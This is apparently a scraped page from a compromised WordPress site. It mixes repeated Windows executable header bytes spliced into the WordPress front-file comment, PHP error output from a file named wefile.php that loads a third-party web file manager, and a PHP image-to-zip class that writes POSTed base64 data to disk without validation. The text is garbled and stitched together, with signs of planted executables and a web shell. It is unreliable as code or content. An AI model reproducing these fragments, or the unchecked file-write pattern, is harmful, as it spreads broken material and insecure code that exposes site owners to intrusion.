MZ   ÿÿ ¸ @ ø º ´ Í!¸LÍ!This program cannot be run in DOS mode. $ ³B´´÷#Úç÷#Úç÷#Úç…¢ßæA#Úç…¢Þæû#Úç…¢Ùæÿ#Úçæ¥'çõ#Úçæ¥Ùæþ#Úçæ¥Þææ#Úçæ¥ßæß#Úç…¢Ûæð#Úç÷#Ûç{#Úçs¥Þæî#Úçs¥Øæö#ÚçRich÷#Úç PE d† ˆñg ð " * º  €Ã  @     P  Ê¢Ÿ  `Á€„     í P   äŸ ` # @ t PÁ  À @ Ð  .text ¹  º  `.rdata j+ Ð , ¾ @ @.data PS   ê @ À.pdata # ` $ ø @ @.fptable     @ À.rsrc äŸ      @ @.reloc t @  ¾ /** * Front to the WordPress application. This file doesn't do anything, but loads MZ   ÿÿ ¸ @ ø º ´ Í!¸LÍ!This program cannot be run in DOS mode. $ ³B´´÷#Úç÷#Úç÷#Úç…¢ßæA#Úç…¢Þæû#Úç…¢Ùæÿ#Úçæ¥'çõ#Úçæ¥Ùæþ#Úçæ¥Þææ#Úçæ¥ßæß#Úç…¢Ûæð#Úç÷#Ûç{#Úçs¥Þæî#Úçs¥Øæö#ÚçRich÷#Úç PE d† ˆñg ð " * º  €Ã  @     P  Ê¢Ÿ  `Á€„     í P   äŸ ` # @ t PÁ  À @ Ð  .text ¹  º  `.rdata j+ Ð , ¾ @ @.data PS   ê @ À.pdata # ` $ ø @ @.fptable     @ À.rsrc äŸ      @ @.reloc t @  ¾ /** * Front to the WordPress application. This file doesn't do anything, but loads
Warning: Undefined variable $authorization in /home/clients/241eefe087afde1f4507e43ef0c2686b/sites/marshallsgriffin.com/wefile.php on line 36

Deprecated: json_decode(): Passing null to parameter #1 ($json) of type string is deprecated in /home/clients/241eefe087afde1f4507e43ef0c2686b/sites/marshallsgriffin.com/wefile.php on line 36

Warning: Undefined variable $translation in /home/clients/241eefe087afde1f4507e43ef0c2686b/sites/marshallsgriffin.com/wefile.php on line 97

Deprecated: json_decode(): Passing null to parameter #1 ($json) of type string is deprecated in /home/clients/241eefe087afde1f4507e43ef0c2686b/sites/marshallsgriffin.com/wefile.php on line 97

Warning: Trying to access array offset on value of type null in /home/clients/241eefe087afde1f4507e43ef0c2686b/sites/marshallsgriffin.com/wefile.php on line 98

Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ja.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /home/clients/241eefe087afde1f4507e43ef0c2686b/sites/marshallsgriffin.com/wefile.php on line 99
MZ   ÿÿ ¸ @ ø º ´ Í!¸LÍ!This program cannot be run in DOS mode. $ ³B´´÷#Úç÷#Úç÷#Úç…¢ßæA#Úç…¢Þæû#Úç…¢Ùæÿ#Úçæ¥'çõ#Úçæ¥Ùæþ#Úçæ¥Þææ#Úçæ¥ßæß#Úç…¢Ûæð#Úç÷#Ûç{#Úçs¥Þæî#Úçs¥Øæö#ÚçRich÷#Úç PE d† ˆñg ð " * º  €Ã  @     P  Ê¢Ÿ  `Á€„     í P   äŸ ` # @ t PÁ  À @ Ð  .text ¹  º  `.rdata j+ Ð , ¾ @ @.data PS   ê @ À.pdata # ` $ ø @ @.fptable     @ À.rsrc äŸ      @ @.reloc t @  ¾ /** * Front to the WordPress application. This file doesn't do anything, but loads MZ   ÿÿ ¸ @ ø º ´ Í!¸LÍ!This program cannot be run in DOS mode. $ ³B´´÷#Úç÷#Úç÷#Úç…¢ßæA#Úç…¢Þæû#Úç…¢Ùæÿ#Úçæ¥'çõ#Úçæ¥Ùæþ#Úçæ¥Þææ#Úçæ¥ßæß#Úç…¢Ûæð#Úç÷#Ûç{#Úçs¥Þæî#Úçs¥Øæö#ÚçRich÷#Úç PE d† ˆñg ð " * º  €Ã  @     P  Ê¢Ÿ  `Á€„     í P   äŸ ` # @ t PÁ  À @ Ð  .text ¹  º  `.rdata j+ Ð , ¾ @ @.data PS   ê @ À.pdata # ` $ ø @ @.fptable     @ À.rsrc äŸ      @ @.reloc t @  ¾ /** * Front to the WordPress application. This file doesn't do anything, but loads config = array( 'folder' => 'temp', 'action_url' => 'download.php', 'hidden_image_names' => 'img_values', 'content_class_name' => 'htmltojpeg-container', 'form_id' => 'myForm', 'download_button_label' => 'Save and Download Images', 'append_scripts' => array( 'js/render.js' )); } /** * Output Method * Form Creator * @return string */ public function output() { $output = '
'; foreach ($this->html_contents as $i => $htm) { $output .= '
' . $htm . '
'; } $output .= ''; $output .= '
'; $output .= ""; $output .= $this->appendJsFiles(); return $output; } /** * @param string $html */ public function renderHtml($html = '') { $this->html_contents[] = $html; } /** * View renderer * @param string $src */ public function renderView($src = '') { try { if (!file_exists($src)) { throw new Exception ($src . ' does not exist'); } else { ob_start(); include($src); $content = ob_get_contents(); ob_end_clean(); } } catch (Exception $e) { echo "Message : " . $e->getMessage(); echo "Code : " . $e->getCode(); die(); } return $this->renderHtml($content); } /** * Download images as a zip */ public function download() { $zipname = $this->saveImages(); if ($zipname == "") { echo "error"; die; } header('Content-Type: application/zip'); header('Content-disposition: attachment; filename=' . $zipname); header('Content-Length: ' . filesize($zipname)); readfile($zipname); } /** * Save Images as a Zip From Post * @return string */ public function saveImages() { $posts = isset($_POST[$this->config['hidden_image_names']]) ? $_POST[$this->config['hidden_image_names']] : array(); if (empty($posts)) { return ""; } $imageprefix = uniqid(rand(), true); $zipname = uniqid(rand(), true) . '.zip'; foreach ($posts as $key => $post) { $files[] = $this->base64_to_jpeg($post, $imageprefix . '-' . $key . '.jpg', $this->config['folder']); } if (!$this->create_zip($files, $zipname, $this->config['folder'])) { return ""; } return $zipname; } /** * @param string $base64_string * @param string $output_file * @param string folder * @return mixed */ private function base64_to_jpeg($base64_string, $output_file, $folder = "") { $ifp = fopen($folder . '/' . $output_file, "wb"); $data = explode(',', $base64_string); fwrite($ifp, base64_decode($data[1])); fclose($ifp); return $output_file; } /** * @param array $files * @param string $destination * @param string $folder * @return bool */ private function create_zip($files = array(), $destination = '', $folder = "") { $valid_files = array(); if (is_array($files)) { foreach ($files as $file) { //make sure the file exists if (file_exists($folder . '/' . $file)) { $valid_files[] = $file; } } } if (count($valid_files)) { $zip = new ZipArchive(); if ($zip->open($destination, ZIPARCHIVE::CREATE) !== true) { return false; } foreach ($valid_files as $file) { $zip->addFile($folder . '/' . $file, $file); } $zip->close(); return file_exists($destination); } else { return false; } } /** * @return string */ private function appendJsFiles() { $htm = ''; $scripts = $this->config['append_scripts']; foreach ($scripts as $script) { $htm .= ''; } return $htm; } /** * @param string $key * @param string $value */ public function setConfig($key, $value = "") { $this->config[$key] = $value; } }